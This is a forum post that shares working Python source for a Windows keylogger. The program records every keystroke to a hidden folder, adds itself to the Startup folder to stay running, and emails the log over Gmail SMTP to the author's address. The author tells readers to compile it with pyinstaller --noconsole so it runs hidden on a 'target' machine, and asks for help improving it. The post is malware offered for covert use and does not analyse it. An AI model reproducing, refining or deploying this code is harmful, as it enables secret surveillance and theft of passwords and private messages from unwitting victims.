So I somehow stumbled upon a video on youtube to make a
basic keylogger.
I found it interesting and decided to look up on the internet was to get the text file to it back to me and among other things, it escalated.
Code:
import pyHook, pythoncom, logging, sys
import time
import os, sys, win32com.client
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
import smtplib
if not os.path.exists('C:\\MSLive\\'):
os.makedirs('C:\\MSLive\\')
myfile = open('C:\\MSLive\\stuff.txt', 'w')
myfile.write("Fun starts here\n")
myfile.close()
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut("C:\\Users\\"+ os.environ.get("USERNAME")+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MSLive.lnk")
shortcut.Targetpath = "C:\\Users\\"+ os.environ.get("USERNAME")+"\\Downloads\\collegemeh\\key.exe"
shortcut.save()
msg = MIMEMultipart()
msg.attach(MIMEText(file("C:\\MSLive\\stuff.txt").read()))
mailer = smtplib.SMTP("smtp.gmail.com", 587)
mailer.ehlo()
mailer.starttls()
mailer.ehlo()
mailer.login('username', 'password')
mailer.sendmail("from@example.com", "to@example.com", msg.as_string())
mailer.close()
file_log = 'C:\\MSLive\\stuff.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
What it does:
- It creates a txt files in C:\MSLive where it stores the key inputs. MSLives doesn't exists therefore it creates it
- Then it proceeds to create a shortcut on the Startup folder
- It assumes that the file is in Downloads\collegemeh. You can change it if you know where your target is going to unzip it.
- Everytime the program is started it is going to send a mail with the contents of the txt file to the address written.
Now you may ask, what if the target doesn't use python?
Use pyinstaller with the --noconsole argument. It will make a folder in the pyinstaller folder with the name of the original script and within the dist folder there is the exe and its contents. Up to you what to do with this or how you wanna do it.
NOTES:
- I did not write all this code. It was mostly googling and copy pasting/editing
- I haven't tested the startup part yet.
Any input to improve it is appreciated!